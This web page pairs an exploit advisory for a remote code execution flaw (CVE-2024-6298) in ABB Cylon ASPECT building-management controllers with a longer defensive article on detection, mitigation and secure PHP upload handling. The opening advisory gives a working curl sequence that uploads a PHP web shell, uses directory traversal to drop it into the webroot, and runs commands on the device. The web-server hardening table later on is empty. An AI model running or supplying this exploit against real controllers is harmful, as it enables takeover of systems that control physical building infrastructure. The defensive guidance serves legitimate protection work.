ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE)
# Exploit Title : ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE)
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller suffers from a remote code execution
vulnerability. The vulnerable uploadFile() function in bigUpload.php
improperly reads raw POST data using the php://input wrapper without
sufficient validation. This data is passed to the fwrite() function,
allowing arbitrary file writes. Combined with an improper sanitization
of file paths, this leads to directory traversal, allowing an attacker
to upload malicious files to arbitrary locations. Once a malicious file
is written to an executable directory, an authenticated attacker can
trigger the file to execute code and gain unauthorized access to the
building controller.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5828
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5828.php
CVE ID: CVE-2024-6298
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6298
21.04.2024
--
$ cat project
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
1.
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
> -H "Cookie: PHPSESSID=25131337" \
> -H "Content-Type: application/x-www-form-urlencoded" \
> -d "<?php\r\nif ($_GET['j']) {\r\nsystem($_GET['j']);\r\n}\r\n?>"
2.
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
> -H "Cookie: PHPSESSID=25131337" \
> –H "Content-Type: application/x-www-form-urlencoded"
3.
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=finish" \
> -H "Cookie: PHPSESSID=25131337" \
> -H "Content-Type: application/x-www-form-urlencoded" \
> -d "key=251&name=../../../../../../../home/MIX_CMIX/htmlroot/ZSL.php"
4.
$ curl http://192.168.73.31/ZSL.php?j=id
uid=33(www-data) gid=33(www-data) groups=33(www-data) ABB Cylon Aspect 3.08.01 — Remote Code Execution (CVE-2024-6298): Analysis, Impact, and Mitigation
This article examines the remote code execution (RCE) vulnerability reported for ABB Cylon ASPECT (firmware <= 3.08.01), tracked as CVE-2024-6298. It explains how the vulnerability arises at a high level, the potential impact to building management systems, practical detection and containment measures, and secure coding and configuration recommendations to prevent similar issues.
Executive summary
ASPECT is a building energy management and control solution used to monitor and control HVAC and other building systems. A file upload handler in certain ASPECT distributions allowed unvalidated raw POST data to be written to arbitrary filesystem locations combined with insufficient path sanitization. An attacker who can reach the upload endpoint and supply credentials (or reuse an authenticated session) could write executable files into locations that the web server would later execute, resulting in remote code execution on the device.
Why this is serious
- Building management systems often control physical infrastructure (HVAC, access control, alarms). Successful exploitation can lead to operational disruption and safety risks.
- Devices often run with persistent network access and may have weak segmentation, increasing lateral movement risk.
- Firmware in industrial and infrastructure devices is not always frequently updated, so vulnerable versions can remain exposed for long periods.
Technical overview (high-level)
Vulnerable pattern
At a high level, the vulnerability arises from two combined issues:
- Unvalidated writing of arbitrary request data to files on disk (reading raw request body and writing it without sufficient checks).
- Improper sanitization of paths supplied during the upload/finish sequence, enabling directory traversal and placement of files outside expected upload directories (including webroot or other executable directories).
When those two conditions exist, an attacker who can upload arbitrary content may place a payload into a location the web server will execute (for example, a file with interpreted extension in the webroot), which then allows remote command execution when the uploaded file is invoked.
Affected systems and versions
| Vendor | Product | Affected versions | CVE |
|---|---|---|---|
| ABB Ltd. | ASPECT (NEXUS, MATRIX-2, ASPECT-Enterprise, ASPECT-Studio) | Firmware versions up to and including 3.08.01 | CVE-2024-6298 |
Impact and risk scenarios
- Remote code execution with the privileges of the web server process (often www-data or similar), enabling data exfiltration, persistence, or lateral movement.
- Modification of control logic or schedules, causing loss of availability or unsafe environmental conditions.
- Compromise of network-attached devices connected to the management system.
Detecting exploitation and indicators of compromise (IoCs)
- Unexpected HTTP requests to upload endpoints (bigUpload.php or other upload handlers) outside normal maintenance windows — check access logs for POST activity.
- New or unusual files placed inside web directories or other executable locations — especially files with script extensions (.php, .pl, .sh) or suspicious names.
- Unusual processes spawned by the web server user or network connections from the device to unknown hosts.
- Integrity checks (file hashes) that differ from known-good images or baselines for application directories.
Use centralized logging where possible. If you suspect compromise, collect and preserve logs (webserver access/error logs, system logs, process lists, open network connections) before remediation.
Immediate mitigations (short-term)
- Apply vendor patches and firmware updates as soon as available. This is the primary and recommended remediation.
- If patching is not immediately possible, restrict network access to the management UI/upload endpoints using firewall rules or network segmentation (deny inbound access from untrusted networks).
- Disable or block upload endpoints at the web server or reverse proxy level (for example, return 403 on upload URL patterns) until patched.
- Harden webserver configuration: prevent execution of scripts in the upload directory (see configuration examples below).
- Reset credentials and invalidate sessions if you suspect abuse of authenticated sessions.
Secure configuration and hardening recommendations
- Run application services with least privilege and restrict their write access only to designated non-executable directories.
- Store uploaded files outside the webroot and never allow direct web access to uploaded content.
- Enforce strong authentication, use session hardening techniques, and enable multi-factor authentication for administrative interfaces if available.
- Deploy a web application firewall (WAF) to help detect and block suspicious upload activity.
Secure upload handling: recommended server-side patterns
Below is an example of a secure upload handler pattern in PHP. This code demonstrates validation and safe placement of uploaded files so that even if an attacker attempts directory traversal or provides malicious content, the server rejects or neutralizes the attempt.
<?php
// Secure upload handler (illustrative). Use this as a template—adapt to your app's framework and environment.
session_start();
// 1) Authenticate: ensure the request is from an authorized user/session
if (empty($_SESSION['user']) || $_SESSION['role'] !== 'admin') {
http_response_code(403);
echo 'Forbidden';
exit;
}
// 2) Check CSRF token if the endpoint is reachable from a browser
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit;
}
// 3) Basic file presence and size validation
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
echo 'No valid file uploaded';
exit;
}
$maxSize = 5 * 1024 * 1024; // 5 MB
if ($_FILES['file']['size'] > $maxSize) {
http_response_code(413);
echo 'File too large';
exit;
}
// 4) Allow-list extensions and MIME types
$allowedExts = ['jpg','png','pdf','txt']; // adapt to your needs
$allowedMimes = ['image/jpeg','image/png','application/pdf','text/plain'];
$originalName = $_FILES['file']['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
if (!in_array($ext, $allowedExts, true) || !in_array($mime, $allowedMimes, true)) {
http_response_code(415);
echo 'Unsupported file type';
exit;
}
// 5) Destination directory: must be outside webroot and non-executable
$uploadBase = '/var/aspect/uploads';
$realBase = realpath($uploadBase);
if ($realBase === false) {
http_response_code(500);
echo 'Server configuration error';
exit;
}
// 6) Generate a fixed, non-guessable filename to avoid trusting user input
$destName = bin2hex(random_bytes(16)) . '.' . $ext;
$destPath = $realBase . DIRECTORY_SEPARATOR . $destName;
// 7) Ensure the destination path is inside the upload base
$realDest = realpath(dirname($destPath)) . DIRECTORY_SEPARATOR . basename($destPath);
if (strpos($realDest, $realBase) !== 0) {
http_response_code(400);
echo 'Invalid destination';
exit;
}
// 8) Move the uploaded file and set restrictive permissions
if (!move_uploaded_file($_FILES['file']['tmp_name'], $destPath)) {
http_response_code(500);
echo 'Failed to store file';
exit;
}
chmod($destPath, 0640);
// 9) Log the upload and return a safe reference (no direct filesystem path)
error_log("File uploaded by " . $_SESSION['user'] . ": $destName");
echo json_encode(['status' => 'ok', 'file' => $destName]);
?>
Explanation: This handler performs several defensive checks in a typical order: authentication, request method validation, file size limits, extension and MIME allow-listing, placing files outside the webroot, verifying the resolved (realpath) destination is within a controlled directory, generating non-guessable filenames, moving the upload atomically with move_uploaded_file, and setting restrictive file permissions. All user-supplied names are not trusted for final storage paths.
Why this approach stops directory traversal / arbitrary write issues
- realpath() is used to compare the resolved destination with the allowed base directory, preventing path traversal shortcuts.
- Storing uploads outside the webroot ensures an attacker cannot upload a web-executable file and then hit it via HTTP.
- Using move_uploaded_file protects against writing arbitrary content from non-uploaded temporary sources and provides atomicity.
- Restrictive file permissions and non-executable directories reduce the impact if a malicious file is created.
Web server hardening examples (prevent executing uploaded files)
Where uploads must be accessible, configure the web server to serve them as static content only or deny access to script interpreters for that path.
| Server | Example |
|---|---|
| Apache | |
| nginx | |
| lighttpd | |
Explanation: The above snippets show how to deny access entirely, or allow static files but explicitly prevent server-side script interpretation for any files in the upload directory. These controls help mitigate the risk of an attacker placing an executable payload in a location the web server will process.
Secure development practices to avoid similar vulnerabilities
- Never write arbitrary request bodies directly to disk without validation and authorization checks.
- Always canonicalize and validate paths against an allow-list base directory using realpath or equivalent.
- Prefer language/platform-specific secure file APIs (for example, move_uploaded_file in PHP) over manual stream copying of raw input.
- Apply the principle of least privilege for filesystem and process permissions.
- Implement defense-in-depth: input validation, access control, output encoding, server configuration, and monitoring.
Incident response guidance
- If exploitation is suspected, isolate the device from the network immediately and preserve volatile evidence (memory, running processes, network connections).
- Collect and analyze web server access and error logs, application logs, and system logs to determine scope and timeline.
- Rebuild compromised systems from known-good images after patching and hardening, and rotate any potentially exposed credentials.
- Notify stakeholders and follow local policies for reporting incidents affecting critical infrastructure equipment.
References and advisory
| Advisory | Notes |
|---|---|
| CVE-2024-6298 | Publicly tracked CVE for the ASPECT remote code execution vulnerability. |
| Vendor / security advisories | Consult ABB product advisories and firmware update notices for official patches and guidance. Apply vendor-supplied firmware updates as available. |
Final note: When dealing with industrial control and building management systems, prioritize patching and network-level controls. These systems often require long lifecycles and careful change control; prepare and test upgrades in a controlled environment, and maintain secure deployment practices to minimize operational risk.